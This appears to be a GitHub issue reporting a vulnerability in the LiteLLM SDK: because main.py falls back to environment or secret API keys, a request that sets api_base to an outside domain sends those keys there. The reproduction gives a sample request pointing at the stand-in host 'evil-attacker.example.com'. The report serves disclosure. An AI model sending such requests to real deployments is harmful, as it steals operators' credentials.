### Check for existing issues

- [x] I have searched the existing issues and checked that my issue is not a duplicate.

### What happened?

in main.py this is a common pattern: api_key = ( api_key or litellm.gdc_key or get_secret_str("some_secret") or litellm.api_key )

Passing a fully qualified API base will fetch API keys from the environment/secrets and pass them along to the provided domain.

The attacker captures the token on their web server and gains unauthorized access to your infrastructure.

### Steps to Reproduce

1. Requests without API keys formulated like this: { "model": "some/model-of-choice", "api_base": "https://evil-attacker.example.com", "messages": [{"role": "user", "content": "exfil"}] }

### Relevant log output

```shell

```

### What part of LiteLLM is this about?

SDK (litellm Python package)

### What LiteLLM version are you on ?

latest

### Twitter / LinkedIn details

_No response_